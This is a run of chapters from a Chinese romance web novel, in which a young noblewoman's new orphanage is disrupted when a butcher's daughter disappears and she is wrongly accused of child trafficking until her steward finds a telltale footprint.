“对呀对呀。”小七顺过话头,像是全不介意同伴的取笑,头上挂着清不掉的干草,与兄长傻乎乎地笑,眼睛亮晶晶的,“小五兄最会种花,从前在临舟时也是如此,您只管提,若是一时没有主意,我们按原慈幼院的来,女公子意下如何?” 大家团结一心,事半功倍,宋沛宁听他们回来都说得如此热闹,也是有些坐不住了。病才刚养好,急忙跟着一起去了郊外新宅。 别看宋沛宁金枝玉叶,被她爹宋怀德时刻都捧在手心里。但宋沛宁截止目前短短十余年的人生光景里,千金难养的金贵女公子占了一半,衣衫褴褛无家可归的小乞丐也占了一半。 她不如一般贵族千金娇贵,来到新宅,擦地扫灰,搬桌搬凳子,驱虫除草,这些活计全是手到擒来,丝毫没有女公子的架子。 这日正在自家院子里忙乎着,阿映带着几名工匠敲开了宋沛宁新宅的大门。 打开门,阿映先向宋沛宁行了一礼,规矩地说道:“女公子好,师父思考到女公子不是本地人,初来乍到不容易,翻新老宅想必遇到诸多麻烦,特地派阿映送来工匠助女公子早日修成新宅。还望女公子不嫌弃,若是还有什么想打听的,您别见外随便开口便是。” 宋沛宁没来得及说话,身后修了又乱,乱了重修,修了还不满意的庭院里,小五六七灰头土脸,活没干几下,凑到一块玩了起来。裴钱霍头痛不已,追着三只小泼皮找打,于是四个人你追我赶,跑得正欢,天真烂漫,难堪重任。 宋沛宁对阿映露出一副“家里小孩不懂事别见怪”的表情,敞开大门,迎阿映与工匠们进了门。 有了黄大夫送来的工匠,小院子的进程总算得以顺利展开。院子里换了新的草皮,播了花种,移了绿植,造了假山景观。 房顶破碎的瓦片换成了全新的,宅院各处雕梁画栋。有会画画的工匠前来询问:女公子平日里都喜欢什么? 宋沛宁不知其意,随口开玩笑道:爱钱,爱摇钱树,爱吃肉包子! 画匠听完,若有所思地退下了,转天,宋沛宁在屋内穹顶上,看见了一排栩栩如生,金灿灿的摇钱树。 但如果不仔细看,打眼还以为画的是一副秋日银杏图。黄澄澄的银杏林中,叶子的形态各异,像是有微风似有若无地经过,笔触细腻,绝非凡品。 画匠先生艺术造诣颇高,估计不太喜欢宋沛宁这种俗人。 于此,新宅子落成得很快 6. 散财 《散财卿卿小札》全本免费阅读 京郊的新宅日日动工,火火热热的。 不及细想那位少年与黄大夫的关系,也不及细想黄大夫口中的徒儿与她作何关系,宋沛宁建在京郊的宅府便在暑热来临前正式落成了。 喜迁新宅,自然要热热闹闹地办一场乔迁宴添添喜气。尽管宋沛宁来到京城不足三月,但医馆黄大夫与阿映、客栈掌柜与小二、邻里街坊、屠夫张的囡囡、闹市区里经常照面的乞丐……转眼这京城也不再是全然陌生的都城。 宋沛宁亲手写下拜帖,预备与裴钱霍一起,走访这些熟人挨家挨户地发下去。 两人一行走到屠夫张的店铺前,正值令人稍觉困倦的午后,肉铺没什么人。囡囡坐在铺子里的椅子上乘凉,依旧是那副讨人喜欢的模样,托着腮百无聊赖地一边晃荡着小短腿,一边看着爹爹干活。 屠夫张是个粗人,不懂什么宴不宴的,喜恶全写在脸上。 经过前次误会,屠夫张原对宋沛宁这位不速之客没多少好脸色,态度始终不大友善。但听说宋沛宁此后就要在京城住下了,未来也就是不近不远的街坊,这才微微点了点头,算是应下了。 坐在小板凳上的囡囡听着大人间的话音,此时也听明白了。那个住在高阁客栈里,众人议论纷纷,漂亮贵气又喜欢笑的女公子,以后都不走了,于是心里跟着高兴。 从小板凳上站起来,三两步蹦蹦跳跳地跑过去,天真活泼地蹦到宋沛宁怀里。 宋沛宁见状,立刻伸出手臂接住囡囡,抱起囡囡在原地悠了一圈。 小小姑娘的眼睛葡萄似地亮,惊喜地问她:“那阿姊以后就都不走了?” 宋沛宁点点头,伸手捏了一下囡囡的小鼻头,回答道:“嗯,阿姊以后就留在这里生活了,囡囡可高兴?” “囡囡高兴!”囡囡小鸡啄米似地一直点头,抻起脖子看了看宋沛宁身后的人,见是裴钱霍,又收回目光来。 趴在宋沛宁的耳边小声说道,“阿姊,上次那位阿兄怎么没有与阿姊一起来?” 宋沛宁迟疑了一下,问道:“阿兄?哪位阿兄?” “就是那位阿兄呀!” 对面的小小姑娘声音清脆,提起那位朝思暮想的阿兄一时又似是脸蛋红红。 “会陪囡囡玩好多游戏的,会说好些姑娘,温温柔柔又慢悠悠的,长得很是清秀好看的阿兄!” 听完囡囡的描述,宋沛宁在脑海里很快对上了号。 窄巷里,黄昏下,市井喧嚣中,一衫白衣清浅,身影单薄消瘦,总是突然出现,又再匆匆消失。 摸不清路数,辨不清敌友好坏的少年。 想得怔了神,便听身边的小小姑娘,如数家珍,掰着小肉手,继续喋喋不休地说道:“阿兄好,也有耐心。那日,就是囡囡第一次见到阿姊的时候,本来有一个力气很大的伯伯将我抱起来了,是阿兄出现,囡囡才被放下来的……” 听到这里,宋沛宁终于回过了神。 一旁稚嫩的声音没有停止,还在倒豆子似地说下去:“阿兄说送我回家,然后阿姊就从巷子口跑出来了。还有上次在客栈旁,阿兄问我上次遇到贼人怕不怕?我说不怕,阿兄还夸我勇敢,只是阿兄告诉我,阿姊格外关心我呢,叫我下次注意,不要再让阿姊担心啦。” ………… 这日天气明明晴好,午后困倦的微风懒洋洋地吹过街巷,宋沛宁却忽然觉得羞愧难当。 不等她说些什么,身后始终不语的裴钱霍身子微微动了动,眼睛微眯,确认没看错,抬脚追了上去。 “是虎子!” 宋沛宁闻声,也立即站起身,急急嘱咐囡囡几句,跟着裴钱霍追出了铺子。 虎子是阿映在跟着黄大夫从医前的小友,瞧着十岁出头,与阿映差不多一般大。 人如其名,长得虎头虎脑,体力十分出众,性格却是犟得很,几头驴都难拉。知道宋沛宁是阿映带来的,便每每见到宋沛宁,屁股跟着了火似的,一溜烟窜出老远。 当初虎子没能和阿映一起拜入黄大夫门下,也不知是否因为这事挫了自尊心,此后便决心不再理阿映了,仿佛不认识阿映这个人。 可反观阿映,说起虎子时,略微垂下眼,内心难免有失落。 “虎子……其实人很好的!他很讲义气,一定是中间有什么误会,才害他不肯理我的……还请女公子莫要介怀,先别放弃他。” 宋沛宁自打从阿映那听说虎子的事后,隔三差五地去寻他,希望虎子随她同回慈幼院,免得在外面受苦。 但宋沛宁次次找他,次次都要吃瘪。虎子不愿意跟宋沛宁回慈幼院,一面是阿映的原因,一面也可能是,他从不肯耐心好好听宋沛宁说完一句话。 宋沛宁收留流童进慈幼院有一个原则。 即是强扭的瓜不甜,愿不愿意来慈幼院,全凭个人意愿。有人喜欢做天际无拘无束的小鸟,她也不过是流童生命中的过路人,绝没有折了他们翅膀的道理。 本想着虎子不愿意随她去便算了,往后若是虎子需要帮忙,她仍会尽最大全力去帮。只是没想到,某日午后,街上偶遇虎子。虎子见到她,反常地堆了满脸的笑。 笑眯眯地靠近宋沛宁,赔礼鞠躬地认错兼问好,“女公子安好,我听旁人说了女公子的好,反应过来此前确是我不对,特意找来向女公子赔礼。如若女公子不见怪,能否赏小的几个馍馍,果小的今日之腹。” 虎子的态度一百八十度大转变,宋沛宁才是真的受宠若惊,几个馍馍而已,怎会有不答应的道理。 宋沛宁没多想,既是阿映看重的小友,肯定不会设防。于是很干脆地应下。随虎子一同去了馍馍摊,街口人潮涌动,正当宋沛宁掏出荷包付钱之际,虎子伸手将她的荷包一把夺过,接着闪身钻进拥挤的人流,很快跑远了。 慈幼院开门大不吉,爹爹的好几张银票还都在里面。 裴钱霍裴掌事得知此事,第二天黑着他那张比平日里还要黑的脸,不出半日便抓到虎子。谁知这虎子油嘴滑舌古灵精怪心眼儿多得很,要回荷包的战线是一天两天,无限延长没完没了。 今儿个当街又撞见虎子,按照惯例追着他势必要讨伐一番。 只见裴钱霍快步走出屠夫张的铺子,向前翻身一跃拦住虎子的去处,虎子一见来人,知道自己与裴钱霍交手定讨不到好果子吃,随即赔了个笑容。 正预要说些什么巧话,便觉得脖子被人从身后搂住,打了个激灵猛咳了两声。 宋沛宁紧随其后,手下一用力,死死扣着他的喉咙。少女的手臂手臂细瘦修长,站在他身后,隐隐散发几缕花茶清香。 “少嬉皮笑脸。”宋沛宁厉声唬他,“荷包还来!” “姑奶奶,我说了多少次,你的荷包我早就丢啦!” 虎子眼睛叽里咕噜地转,一边卖惨,委屈巴巴地回话,一边观察两人的神情,见宋沛宁手下力道松懈了,立马蹲下身想要躲过宋沛宁的钳制,伺机逃跑。 几天交道打下来,虎子身上那点小把戏宋沛宁早就烂熟于心。 虎子蹲下身,宋沛宁也蹲。 一招没躲过,虎子侧头,与宋沛宁大眼对小眼。宋沛宁眨眨眼,也与他大眼对小眼。 宋沛宁作势要把虎子往哪里带,空出来的手泄恨似地弹他一连串响亮的脑瓜崩。弹得小乞丐哎哟哟,心道:女公子长得这般柔弱无骨,不成想手劲如此之大,脑瓜崩如此之疼。 后悔当初惹了这么一位难缠的主子,女公子好的不学,倒是把他们乞丐那一套泼皮无赖的劲 7. 散财 《散财卿卿小札》全本免费阅读 囡囡丢了,今早的事。 清早起床,屠夫张照例带着囡囡到铺子里开门做生意。 大早上光顾肉铺的人不多,屠夫张搬了两个小马扎在门口,跟囡囡一起吃早餐。囡囡早上喜欢吃菜包子,就着小半碗豆浆下肚,抹干净小嘴,乖乖巧巧地跟爹爹说吃饱了。 路过的街坊见到这对父女俩,笑着寒暄,顺道打听一句:“张屠夫,今儿肉价几何呀?” 屠夫张端着饭碗,说话时也未将饭碗撂下,“秋婶这么早!今儿个前槽肉贱,只要15文。旁的猪排与五花都是新杀的,肉质上等,是要贵些了。” 与秋婶寒暄的功夫,裴钱霍的马车也在这时候经过。入了街市,路上有行人,于是车夫驱车很慢,裴钱霍看过来,十分自然地朝屠夫张点了个头,算是问过好了。 此番慈幼院乔迁宴的酒席菜肴,凡是肉品全是在屠夫张的铺子里采办的,因此一来二去两人也混了个面熟。 不过面熟归面熟,裴钱霍待人仍是那副天生臭脸,乍一看是个不好相与的,要等慢慢相处,才能发觉他其实是个冷面心热的好人。 车马缓缓驶去,秋婶将猪肉价全问了一圈,最终也没掏出一个子儿来买,笑盈盈地跨着菜篮子也走了,留下父女二人在铺子前继续吃早饭。 垫巴完肚子,屠夫张收走吃完的碗筷回屋去洗,转身前,叮嘱囡囡就在门口玩,不要乱跑。 囡囡满口答应,再回来的时候,铺门口徒留一大一小两个空荡荡的马扎。 囡囡不见了。 说来也巧,宋女公子来京城前,城中多少有些风声鹤唳、人人自危。然而自从这位外地来的显赫女公子入京,城中治安忽然就那么好起来了。 若在此时夸一句女公子是天降贵人,倒也说得通,可越到后来,女公子越奇怪。 怎么说呢。本来就是脚不点地、十指不沾阳出水的高门贵女,没尝过老百姓的苦水,没正经入过世,能有几分真才实干。想一出儿是一出儿,虚张声势地在京郊起了座慈幼院,与那些乞丐走得亲近,再看看,处处冲突矛盾,愈发不似贵族阁楼中的闺秀,怎能不叫人生疑? 街坊四邻中,但凡是要吃上一口肉的人家,他屠夫张就没有不见过的。女公子后,再就没有生人出没过,女公子与囡囡故意接近讨好,如今拍拍屁股搬出京了,囡囡偏就赶巧今日不见了。 如此这般,情急之下,他屠夫张不联想到女公子身上,还能去怀疑谁呢? 屠夫张身长八尺的汉子,因为心爱的小女失踪,焦头烂额急得团团转,一根筋认死了是宋沛宁干的,蛮不讲理不依不饶。 屠夫张扯着嗓门,挥着那把剁了半辈子肉的刀,像是把身家性命都拼出去了也丝毫不在乎似地失去理智。 原本坐在院子里休息的宾客闻打斗声,相继走了出来,屠夫张见到熟悉的街坊邻居,一时间好似找到了依仗,话语声中更是多了几分言之凿凿。 回头向云翎闷哼一声,忿忿收回手,转向街坊宾客说道:“大家清醒点,都别被这个花言巧语的女公子骗了!我看她根本不是什么女公子,就是个善于伪装坏事做尽的牙子!我家囡囡今早在我的眼皮底子下丢了,还刚好在她们家裴掌事经过我家门口不久之后,你们说巧不巧?依我看,今日的乔迁宴大抵也是她设的局,若不是我及时赶来,怕不是我们街坊全都让她一锅端走了!” 遭人如此诋毁,宋沛宁心急地喊道:“屠夫张!我与你素日和和气气,你为何血口喷人!” 先是囡囡失踪一道惊雷劈下,没缓过神又让人平白无故兜头泼了盆脏水。宋沛宁毕竟还是个十来岁的小姑娘,急急朝屠夫张走去,被云翎眼疾手快地挡下,只得扶着云翎的手臂在另一边空挥了个没有力量的拳头。 屠夫张看出宋沛宁的小孩本性,胜券在握地笑了笑,继续说道:“我血口喷人?我屠夫张在京城大半辈子,卖的猪肉缺斤少两都不曾,若不是你有猫腻,怎会偏偏与你个小姑娘过不去?不若你回头问问你身后的众人,我与你,他们会信谁!今日你是自愿也好,不愿也罢,交不出我家囡囡,就和我去官府,与官老爷好好说道说道!” 人群里素日和屠夫张交好的酒肆掌柜,在这时开口说道:“……不然,女公子还是与屠夫张去一趟官府吧,究竟是不是搞错了官府自会评判,若是被冤枉的,官府为她证明清白,何尝不可?” 酒肆掌柜说完话,看热闹的人群像是打开话匣子,纷纷议论站起队来。 “是啊是啊。此事一出,若是草草了事没个交代,我们大伙心里都没底,日子可还怎么过啊——” 小七为主子抱不平,也跟着嚷:“凭什么你们说什么就是什么?我家女公子好心请你们吃饭不成,还要为你们去官府受苦受罪?你们当官府是什么好地方,进去了谁能全身而退地出来?” “别说什么冠冕堂皇的漂亮话,把囡囡还回来,兴许还是能放你们一大家子一条生路!” 牙贩本就是众人忌讳闻之色变的话题,现下被人挑明了生生拎到明面上,还要关乎个人个家的安危,一时几乎都倾倒到屠夫张那头。 慈幼院里的人见状,本想出来帮忙,但宋沛宁不想再加深街坊的误会,用眼神制止了。她的身侧只有小五六七在近旁,几个人势单力薄,人群闹嚷起来,她的解释声更像吞没在人声里,根本听不见。 云翎守在宋沛宁面前,与人群隔出一段距离,因此众人不敢冒进。个中有耍小聪明的蓄意绕过他们背后,趁人不察攥住宋沛宁的发髻,向后猛扯一把,宋沛宁顺着力道被那人往后一带,险些栽了个跟头。 云翎急急回身,及时揽住她的腰,小五六七也反应过来,齐齐发起进攻,借以逼退那人。 可惜从身后保住了宋沛宁,前方却失守,屠夫张钻空子快步移至跟前,欲要红眼抓人之际,云翎揽着宋沛宁的手臂未松,反而紧了几分。抱起宋沛宁,腾空后退,鼻尖仿佛擦着屠夫张的手指尖,再次与他拉开距离。 身体的突然失重,宋沛宁下意识靠紧了云翎,不安的发丝略过云翎的脖颈,手心握着他腰间的衣料,似有若无地碰到少年精瘦有力的腰窝。 只是眨眼的功夫,两人双双落下,宋沛宁速速收回手,作势向前一步,面向众人诚恳地说道:“大家听我说!我是不是牙贩当下根本不重要!囡囡现在走丢了,找到她才是最重要的!相信劫走囡囡的牙子还没走远,与其在我这里浪费时间,不如集结各位的力量一起找囡囡!若是各位实在怀疑我,不如找到囡囡后再来审问我。” 这是一句实在话,众人听完短暂地安静了下来。 宋沛宁不敢多松一口气,明白此时自己的嫌疑未消半分,眼下找到囡囡迫在眉睫。 “小七。” “在。” 宋沛宁下令的声音顿了顿,看向众人,继续说道:“你与街坊中信得过的人一同去官府报案,小五小六,你们去屠夫张的铺子搜集证据,顺带问问邻近的铺子可曾见过什么生人。” “是。” 小五六七领命,只是有些不放心。发生这么大的事,到底没等到裴钱霍回来,三个人走了又停,停了又走。< 8. 散财 《散财卿卿小札》全本免费阅读 一场好好的喜迁新居宴,最后闹了个鸡飞蛋打,不欢而散。 厨娘嬷嬷做了几桌子的菜,宾客一口没吃,随着官兵撤离慈幼院,也跟着一哄全离开了。 人走后,空荡荡的院子里,竹叶等一众婢女帮着厨娘默默收拾院子。崭新的红木桌子,红木脚凳子,还有拾起来叮当脆响的青瓷碗筷,诚意满满地摆了出来,却根本没派上用场。 嬷嬷守着厨房灶台拾掇,放下掌勺,对着原模原样端回来的菜连连叹气。这样好的饭菜,平白浪费了宋女公子的心意,也糟蹋了粮食。原本都够府上大大小小吃上好几天的了,现在可能还没来得及吃,大概就要先坏掉了。 嬷嬷正发愁着,门外竹叶又端着两盘清蒸鲫鱼回来,注意到嬷嬷脸上的表情,停在厨房门口问道:“嬷嬷怎个一脸愁容,可惜今日一桌好菜吗?” 嬷嬷抬头看了眼竹叶,接着叹口气,坐了下来:“可惜了饭菜是一说,心疼你家女公子才是真的。你说女公子千里迢迢来京城,又花心力又花着大把的银子,好不容易慈幼院刚落成,出了这么桩事,费力不讨好。女公子图什么呢?” “嬷嬷可能不知道。”竹叶走近,娓娓说道,“女公子六岁的时候,曾经被牙子抱走过,中间经历许多年才找回的家。女公子说,她能回家,是她幸运,绝境之中遇见过好人。但不是所有人都能和她一般幸运,找不到回家的路的孩子太多太多……” 嬷嬷沉默,眼瞧竹叶的双眼蒙着水雾,是要吃多少担惊受怕离别的苦,才会即使过了这么多年,提及起来仍然忍不住伤感。 “女公子说,这份恩情,许是不能一一还到那些人头上了,可也不代表她就什么都做不了。她得做点什么,下次若是再有回不去家的流浪孩子,遇到她,好比阴霾天上落下一道光。” 竹叶顿了顿,继续说道:“哪怕这道光救不下所有的流童,但这道光,得亮着。” - 虽说屠夫张丢了囡囡实属可怜,但他提刀私闯民宅蓄意生事,却也是他不对。 一码归一码,绝不厚此薄彼,知府一抬眼皮,向屠夫张悠悠问道:“走吧,是你跟我走啊,还是我带你走啊?” 知府大人说完,马上有两名官兵走近,作势要将屠夫张钳制住。屠夫张长得是骇人了点,但也只是个普通的卖肉掌柜,安分守己地看着自己家的营生,不曾作奸犯科,哪里见过这样的阵仗。 方才还凶煞的脸,顿时似是被兜头浇灭了,无奈求饶道:“大人,小的自己跟您走……只是我家囡囡被人所掳,最有可能犯案的人就在您眼前啊!“ 知府汗流浃背:有眼无珠的刁民,求你可别再说了,你是有几个脑袋够你得罪的! 心里波涛汹涌,面上却是平静。闻声假意看向宋沛宁,其实则是暗中请示云翎,见云翎允了,才煞有介事地开口道:“都跟我一同去趟衙门。” 小五六七听这话,担忧女公子受苦,正想着辩解被宋沛宁拦下。 既然知府大人都发言了,那再莫须有再委屈,也是理应要走一趟了。裴钱霍本想跟着宋沛宁一块去,但碍于屠夫张来府上闹事时他不在,不晓得其中细节,只得让小五六七陪着女公子去了。 裴钱霍安排完五六七,轮到宋沛宁安排裴钱霍。 “囡囡刚走失不久,按理说此时还不算难找。寻找流童,你最有经验,在我出来之前,找囡囡的事就交给你了。” 裴钱霍神情凝重,颔首应下:“是。” 复又抬起头,担忧的目光还停在宋沛宁脸上。 宋沛宁微微一笑,反过来宽慰裴钱霍:“我没事,你快去,找到囡囡。越快越好。” 交代完一切事务,宋沛宁对近处走上前的官兵轻声说了一句“走吧”。经过云翎时,愧疚地看了他一眼。 心中默念着:可惜今天没法请你吃饭了,还害你惹上麻烦,现在官差来了,别被我牵连,你快走。 但见云翎在她擦身而过后,脚下一转,毫不迟疑地跟上了她。 宋沛宁脚步一顿,很怕官兵将他也一道带走,白添一人牢饭。 于是做贼心虚地悄声与云翎打暗语:“你假装路过就好,跟上来做什么?” 云翎微勾起唇角,一脸风轻云淡,不答她的话,直接朝知府大人喊话问道:“大人,小的是否也需一道前去啊?” 被点名的知府大人,小腿在宽大官服下略略一软。 “回……咳,嗯。自然,自然。” 知府大人发话,云翎略带得意的目光垂眼看回宋沛宁,挥着双袖并在身后,对宋沛宁扬了扬下巴。 意思大概是:“看见没,女公子,我根本逃不掉。” 宋沛宁一头雾水,直到官爷向前赶了赶她,只得跟着官兵的队伍挪动步子。 她边走,边观察云翎大气凛然的后脑勺,狐疑地在心里泛起嘀咕。 上赶子去官府,这少年葫芦里卖的什么药? - 所谓好事不出门,坏事传千里。 宾客不过比宋沛宁先一步回城,此前屠夫张大闹慈幼院,怀疑宋沛宁是个牙子的事,很快就传开了。只不过传得不太详细,传来传去到最后,说法直接变成了“宋沛宁把囡囡抱走了”。 尽管宋沛宁一没被铐着走,二没被压着走,已经足够体面,但还是令街坊堂皇色变,抱起自家的娃娃合起家里大门。 虎子今早照常与大夫开了新药,提着药包走在回破瓦寒窑的路上。 远远看见宋沛宁的身影下意识藏进房角后,平时女公子看着他,不捉住了他好好教训一番善恶良知誓不罢休,今日却有有些不同寻常。 虎子看着宋沛宁渐渐离去的背影,扶着墙大大方方站出来,没有再藏。 这时,坐在他身后墙根的草席乞丐沙哑淡淡地说道:“小友,别看了。往后记得离那女公子远些。” 虎子回过头,不明其意,问:“发生什么事了?” “哟,你还不知道?”乞丐换了姿势,盘腿坐着,“那女公子是个披皮牙子!把人家的娃娃抱走了!人家爹去找,她死不承认,双方交起手来,惊动官府,这才把人带回来的!” 虎子一怔,皱眉又急急去找宋沛宁的背,果然看见宋沛宁周围跟着好多官兵,更衬得老乞丐说的话有理有据。 “不可能!女公子不是那种人啊!” “诶——傻孩子!” 虎子说完话,原本想去追,乞丐见状站起身连忙拦住,好言相劝道:“你不要命啦?她可是牙子!别人家的娃娃丢了尚且有 9. 散财 《散财卿卿小札》全本免费阅读 裴钱霍策马返回城中时,早先与他一起进城的车夫正坐在黄大夫医馆门口的阴凉处,一边喝茶一边等他。车子的一端没绑马,空荡荡地停在一旁,行人经过都要绕一脚。 当时慈幼院出了事情,还是阿映跑过来通风报的信,裴钱霍卸了马匹急急走了,这才留下半截的车子,照顾车夫的事情也就落到阿映头上。 车夫是老临舟人了,一辈子只管赶车,来到京城后对这里的口音不太熟悉。面对阿映这个白糯团团,只能连说带比划,就是不知道比划到最后对方听明白了没有。 远远瞧见裴钱霍返回,车夫老李随即撂下比划的胳膊,站起身小跑着去迎裴钱霍。裴钱霍跳下马,将马绳扔给老李,神色微沉。 老李马上跟着微沉了脸色,自知慈幼院的事不假,张口问道:“裴掌事,您可算回来了。您留老夫在这等,等得实在心焦,女公子到底如何了?” 老李问完话,半天也没收到回答。好不容易等裴钱霍抬起头,却听到所问非所答的后半句。 “老李你先回去罢,府上乱作一团此时也是缺人,我还需去再找找线索。” - 囡囡自小没娘,是屠夫张靠着卖肉的营生一个人把囡囡拉扯大的。 屠夫张觉得自己的营生刀下见血,不好,不愿意让亲闺女看见,坏了女孩子家的天真烂漫。于是等到囡囡再长大一点了,不叫她在店里久留,常常打发她出去玩。 屠夫张为人实在,真性情,给街坊抹零添两都是常有的事,街坊自然没有不帮衬的道理。于是囡囡今天东送一家,明天西送一家,日子久了,就成了个吃百家饭的孩子。 按理这人人眼熟的孩子,走到哪里都像是走在大人眼皮子底下的孩子,牙子看了自是不敢抱的。可坏就坏在牙子如今势力大了,胆子也大了,看见有可乘之机,光天化日什么孩子都敢抢。 裴钱霍告别车夫,火速来到屠夫张的铺子查看究竟。 街道如往常一般熙攘热闹,除了屠夫张自家紧锁的大门,似乎一切如常。 一名妇人领着五六岁模样的女童偶然路过此处,见到站在猪肉铺门前若有所思的裴钱霍,联想起今早张掌柜家的惨事,不觉抱起自家的娃娃慌忙离开。 裴钱霍顶着一张反派脸我行我素惯了,这两眼忌讳倒是对他构不成伤害,目光顺着那对母女离开的背影看过去,忽然后知后觉今日的长街似乎少了什么。 正思索着,余光中闪现出一人影,后又匆匆藏了起来。 裴钱霍反应极快,鹰一样的眼睛朝出那人的方向,翻身一跃堵住他的去路。手下正要发力,看清鬼鬼祟祟的人竟是虎子,连忙收了力道,伸手逮住了虎子的耳朵。 虎子吃痛,“哎哟哟”地叫出声,裴钱霍不紧不慢地松开手。 “这你小儿,我今日没空捉你,你倒是自己跑到我眼前来。” 虎子揉揉耳朵,有点埋怨地说:“我来这还不是为了你们家女公子!” 裴钱霍不语,抬眼看了虎子一眼。虎子以为这个大黑脸又要动手,他可打不过,急忙捂着耳朵,接着说道:“女公子的事今早都在城里传开了,也不是什么秘密。”顿了顿,继续说,“但我相信女公子不是那样的人。” 听到虎子这么说,裴钱霍微微笑了笑,顺着虎子的话问:“所以你来这发现什么线索没有?” 虎子一提气,一泄气,低头道:“暂时没有。本想问问附近的乞儿,今早可看见了什么,儿们听说街坊传闻,全都唯恐避之不及,什么也没问出,我只好自己来找。” 长街如旧,熙攘喧嚣,虎子说完,抬头迷茫地望向裴钱霍,裴钱霍感知到也望了回来。 二人对望半瞬,肉铺斜对角的谢婶,在这时拿着一把竹编的扫把走了出来,扫起了自家的大门。 偏赶上谢婶今早勤快,新换的花土,扫把一挥尘土飞扬。 没扫两下,隔壁卖成衣的刘婶跑了出来,语气不大高兴,挽了挽袖子,朝谢婶喊道:“别扫了别扫了!成天扫你家那个破店门,灰都跑到我们家来了!” 谢婶一听这话,也是不乐意,扫把重重地往地上一杵,叉腰回喊道:“刘婶这句话说得当真可笑,怎么就跑到你家去了!难不成整条街都是你家的?我扫我自家的院门,管你什么事?!” 从猪肉铺的方向看过去,花铺是那条商铺最边上的第一家,旁边便是一条又窄又深的长巷子。两位掌柜越吵越烈,颇有要掐起来的架势,裴钱霍抬脚朝花铺径直走过去,虎子还以为裴钱霍是要去管闲事,刚想叫住他,就见裴钱霍脚掌一顿,停在了深巷的入口。 裴钱霍高人身姿,低头盯着巷子墙根瞅。 虎子一想,这平时,不就是小狗尿尿的地方吗? 脚下却已经溜溜地跟了过去,跟过去定睛一看,揉揉眼睛,怕看错了,蹲下身仔细看。 谢婶今早刚理下来的旧花土,堆在墙根还没扔,有人粗心大意,在上面留了双鞋印。 鞋底瞧着辨不出纹路,是一双走得几乎要磨光鞋底花纹的旧布鞋。行脚商路走得多,穿的鞋子一贯如此。再从鞋印的位置往猪肉铺里望,位置选得可谓绝妙,既不容易被发现,又能打量得清楚。 虎子惊喜,“裴掌事!女公子有救了!” - 府衙。 知府大人身坐高位,惊堂木一拍,两名衙役压着屠夫张的肩膀,扑通一声跪在地上。 明镜高悬的匾额之下,在场的民与官各怀各的心事,可谓十分精彩。 高高在上的知府大人,表面云淡风轻,实际汗流涔涔。晨时,他刚来到府衙做堂,清早无人伸冤,正悠闲品着茶水。打衙役外跑来一个小杂役,带着太子的手信,说太子殿下点名要知府大人走一趟。 太子都发话了,哪敢有待慢的理?召集人马连滚带爬地赶到京郊,本以为是什么惊天大案,结果只看见一个屠夫和一个小姑娘吵嘴……简直无聊至极,琐碎至极,微末至极。 但在平民百姓前,官威还是得端住了。 从京郊回来的路上,知府大人不知暗中打量宋沛宁多少回。外地来的小姑娘,竟然能令太子殿下隐藏身份,心甘情愿地处处维护她。 于是有太子殿下在,宋沛宁哪怕是不是被冤枉的也定然吃不了亏。 可正是因为有太子殿下在,知府要稳住自己头顶上的乌纱帽,甚至是保住自己的脑袋,只能先找软柿子捏。 屠夫张本来为民,贱如草芥,屈膝往冰凉凉的地上一跪,心也跟着凉了半截。 如此哭诉作闹,换来的只有官威施压,许是那宋沛宁早就暗中打点好了知府事宜,可怜他一介布衣无权无势,恐怕奈何不了宋沛宁了。 公堂 10. 散财 《散财卿卿小札》全本免费阅读 裴钱霍话罢,从怀中掏出一张印着一只鞋印的拓纸。 “大人明察,这是我刚从屠夫张肉铺附近发现的可疑脚印。此鞋印约莫一寸八,是为一个成年男子的脚长。” 知府大人抬手示意,一旁的衙役走上前拿过拓纸,呈递了过去。 知府沉思半刻,官态做尽,才悠悠开口问道:“你是从何处发现的脚印?” 裴钱霍答:“回知府大人,是在铺子斜对街的鲜花铺旁边,紧接着的一处窄道。今早鲜花铺老板娘刚理的花土,废弃的就置在铺子附近的墙根处,还未来得及整理,让那贼人心虚地踩了一脚。大人若有疑虑,可派人前去查看,这鞋印位置与朝向,全然是对着猪肉铺的方向。选得可谓巧妙,既有墙根做掩护,又能容他打量得清楚。” 裴钱霍顿了顿,神情认真,语气跟着锋利起来,“清早花铺老板娘理花土时,女公子并不在城中,即便我当时已进了城中,这鞋底纹路与我并不相合,由此,囡囡的失踪和我家女公子无关,是为另有其人!” 裴钱霍说得有理有据,证据也都摆在眼前,知府立刻差人去查,等了不过半柱香的时间,派出的衙役气喘吁吁地回来,认证了确有其事。 毕竟太子殿下人还在堂中,知府不敢怠慢,更别提得罪,宋沛宁解除嫌疑,当场被释放。不过怕放了屠夫张出去,还要继续生事,屠夫张则被压下去候审。 屠夫张被衙役压走前,一张粗糙无光的脸上,似乎只剩下一双绝望无助的眼睛。 他看了看宋沛宁欲言又止,好像那贼子若不是宋沛宁,他便更不知道是谁了,他的囡囡……便更不知该去何处寻了。 正要离开,宋沛宁在后面还是忍不住把他叫住。 “等一下。” 宋沛宁提裙,绕到屠夫张面前。 尽管今日鸡飞狗跳已是十分不体面,二人之间似乎多说一句都是累赘,但宋沛宁还是走过去,轻声安慰道:“屠夫张,我知你不信我,也没理由信我空口白牙。但我向你保证。我一定会把囡囡找回来,这么做不是为了澄清我自己,只是希望她能回家。” “好了好了。” 知府大人连打着瞌睡,急拍了两下惊堂木,这种大义凛然的话,知府大人从不爱听。 皱眉催促道:“少说点客套话,你们二人若是早些和睦,也不至于连累我老身子骨,亲跑到京郊去……快些都散了吧。” 衙役得令,压着屠夫张欲走。 他最终没来得及对宋沛宁说什么,好像刚刚在公堂上把他漂泊无依大半辈子的话都倾吐完了。剩下的力气只够深深看一眼宋沛宁,仿佛蕴含万语千言,然后踉跄了一步,被按着走远了。 “我们也走吧。” 身后有道温润的声音适时响起,宋沛宁闻声回过头,看见了云翎。 云翎一袭白衣,朝她笑了笑,说道:“你今日怕是受惊,有些乏了,晚些时候我请黄老先生给你开两副安神的药,等煎好了,再差人给你送过去。” 宋沛宁晃神,一种奇异的、熟悉的感觉莫名从她的脚底钻了出来。 云翎说完,想了想,怕宋沛宁只身去犯险,继续说起来,“囡囡的事,你也别担心。我会……我想,知府大人自有定夺。” “你是谁?” 不等云翎话落,宋沛宁上前一步,打断他这么问。 “什么?” 云翎被问得诧异,一时不知如何回答。 他展眉向上,整张脸的表情全都柔软了下来,声音里似是掩着喜悦,又似是真的没听清,柔声跟着问了一句,“阿宁……你说什么?” 宋沛宁看着云翎,她心里始终记挂着一个小少年,她的小少年离开太久了,久到她快要记不清了。然后遇到一个稍微有点像他的人,就会错觉是他回来了。 “……没,没什么。” 